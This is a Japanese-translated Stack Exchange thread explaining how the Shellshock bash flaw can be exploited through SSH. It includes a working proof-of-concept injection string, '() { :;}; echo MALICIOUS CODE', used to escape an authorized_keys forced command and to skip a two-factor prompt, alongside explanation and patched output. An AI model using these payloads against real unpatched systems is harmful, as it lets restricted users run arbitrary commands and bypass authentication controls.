shellshockはどのようにSSH経由で悪用されますか?


68

どうやら、shellshock BashエクスプロイトCVE-2014-6271は、SSHを介してネットワーク経由でエクスプロイトされる可能性があります。Apache / CGIを介してこのエクスプロイトがどのように機能するか想像できますが、SSH上でどのように機能するか想像できませんか?

誰かがSSHがどのように悪用されるのか、システムにどのような害を及ぼす可能性があるのか​​例を教えていただけますか?

明確化

AFAIU、認証されたユーザーのみがSSHを介してこの脆弱性を悪用できます。とにかくシステムへの正当なアクセス権を持つ誰かにとって、このエクスプロイトはどのような用途に使用されますか?つまり、このエクスプロイトには特権の昇格がないため(rootになることはできません)、SSHを介して合法的にログインした後にできること以上のことはできません。


簡単に言えば、誰かが既にあなたの箱にアクセスできない限り、それはできません。新しいbashシェルは、ログイン試行が成功した後にのみ実行されます。
Evert 14

そのほとんどがメディアの誇大広告であり、それは起こる可能性がありますが、それはそうであるように作られたほど悪くはありません。
jgr208 14

ユーザー名は逐語的にログに記録されますか?はいの場合、どこかに脆弱なログ解析bashスクリプトが存在する可能性があります...
PlasmaHH 14

1
@PlasmaHHログ解析スクリプトをルートとして実行する場合、取得するものに値します。
バーマー14年

@Barmar:それに加えて、質問はルートアクセスを取得するためだけのものではなく、マシンへのアクセス(たとえば、それを改ざんしたり他の害を与えるために必要なすべての場合があります)、コードを実行できる場合、チャンスはルートを獲得する他の何かを悪用するコードを実行します。
PlasmaHH 14年

回答:


79

これが悪用される1つの例は、authorized_keys強制コマンドを使用したサーバー上です。にエントリを追加するときに、ssh公開キーが使用されるたびに強制的に実行されるように~/.ssh/authorized_keys行のプレフィックスを付けることができます。このエクスプロイトでは、ターゲットユーザーのシェルがに設定されている場合、攻撃者はこのエクスプロイトを利用して、強制されるコマンド以外のものを実行できます。command="foo"foobash

これはおそらく例の方が理にかなっているので、例を示します。

sudo useradd -d /testuser -s /bin/bash testuser
sudo mkdir -p /testuser/.ssh
sudo sh -c "echo command=\\\"echo starting sleep; sleep 1\\\" $(cat ~/.ssh/id_rsa.pub) > /testuser/.ssh/authorized_keys"
sudo chown -R testuser /testuser

ここで、ユーザーを設定しtestuserますecho starting sleep; sleep 1。これにより、sshキーを使用したssh接続が強制的に実行されます。

これを次の方法でテストできます。

$ ssh testuser@localhost echo something else
starting sleep

echo something else実行されない方法に注意してください。ただしstarting sleep、強制コマンドが実行されたことを示しています。

次に、このエクスプロイトの使用方法を示します。

$ ssh testuser@localhost '() { :;}; echo MALICIOUS CODE'
MALICIOUS CODE
starting sleep

これsshdは、SSH_ORIGINAL_COMMAND環境変数を渡されたコマンドに設定するため機能します。そのため、sshd実行したのsleepはコマンドですが、悪用のためにコードは実行されたままです。


1
代わりにこれを試してください:ssh testuser@localhost echo something else '`whoami`' コマンドが実行されている場所を証明するために
リチャード

1
この答えに加えて、SSHに関しては、このエクスプロイトは許可されたキー(許可されたキーは長いパスワードと考えることができる)を持つ許可されたユーザーにのみ、通常は許可されていないコマンドの実行を許可します。その許可されたキーを持たない誰かが何もすることを許可しません。SSHとauthorized_keyの意味を十分に理解していない場合、これは答えから明らかではないと思います。
クリスドラゴン14

@skrewlerそれは通常、何かを誤解している良い兆候です。例えば、答えは、テストユーザーが管理者によって提供されたアカウント設定を与えられた場合、テストユーザーが与えられた制限をどのように逃れることができるかを説明しています。いいえ、bashに関与していないということは、shellshockを悪用できることを意味します。ユーザーが通常持っていない権限でbashが実行されている場合のみ、ユーザーはそのbashの環境変数に影響を与えます。
パトリック

さて、あなたが今見せようとしているものを手に入れました。testuserをログインシェルではなく.authorized_keysのコマンドに制限するセットアップです。あなたがすでにシェルアクセスを持っていたときにコマンドを実行するエントリを使用して独自の.authorized_keysを編集することは意味がありませんでした(これは特権の実行を提供しないため)edit:deleted comment、私は訂正します。
スクルーラー

26

Rameshの例を拡張-2要素認証を使用する場合、実装方法に応じて、このエクスプロイトを使用して2番目の要素をバイパスすることができます。

—通常ログイン—

[10:30:51]$ ssh -p 2102 localhost
password:
Duo two-factor login

Enter a passcode or select one of the following options:

 1. Duo Push to XXX-XXX-XXXX
 2. Phone call to XXX-XXX-XXXX
 3. SMS passcodes to XXX-XXX-XXXX (next code starts with: 2)

Passcode or option (1-3): 1

Pushed a login request to your device...
Success. Logging you in...
[server01 ~]$ logout

— 2FAなしでコードを実行する—

[10:31:24]$ ssh -p 2102 localhost '() { :;}; echo MALICIOUS CODE'
password:
MALICIOUS CODE

2FAを要求せずにコードを実行したことがわかります。

— bashにパッチを適用した後—

[10:39:10]$ ssh -p 2102 localhost '() { :;}; echo MALICIOUS CODE'
password:
bash: warning: SSH_ORIGINAL_COMMAND: ignoring function definition attempt
bash: error importing function definition for `SSH_ORIGINAL_COMMAND’

1
2番目の要素を使用して最終的な読者のパニックを制限するために:「実装方法に依存」-ここで2番目の要素はbashで実装されるか、read関数を使用すると仮定したと思います。それ以外の場合-ユーザーは安全です。
グジェゴシWierzowiecki

25

Shellshockは、SSHではなくbashの脆弱性です。それを悪用するには、攻撃者は脆弱なシステムにbashを実行させ、bashに渡される環境変数の値を制御する必要があります。

SSHを介してbashプロセスに到達するには、攻撃者は認証手順に合格する必要があります。(他のネットワークサービスを介した攻撃ベクトルが存在する可能性がありますが、これらはこのスレッドの範囲を超えています。)アカウントがとにかく任意のシェルコマンドの実行を許可されている場合、攻撃はありません。アカウントが特定のコマンドの実行に制限されている場合、脆弱性が作用します:たとえば、SFTP専用アカウント、またはgit専用アカウントなど。

:SSHでの特定のコマンドを実行するためのアカウントを制限するには、いくつかの方法がありますForceCommand内のオプションはsshd_configまたはで、command=authorized_keysファイルの制限。ユーザーのシェルがbashの場合、Shellshockの脆弱性により、通常は制限付きアカウントにのみアクセスできるユーザーが制限をバイパスして任意のコマンドを実行できます。


そして、これはのような他のシェルでは機能しませんzsh
エイルニーム
弊社のサイトを使用することにより、あなたは弊社のクッキーポリシーおよびプライバシーポリシーを読み、理解したものとみなされます。
Licensed under cc by-sa 3.0 with attribution required.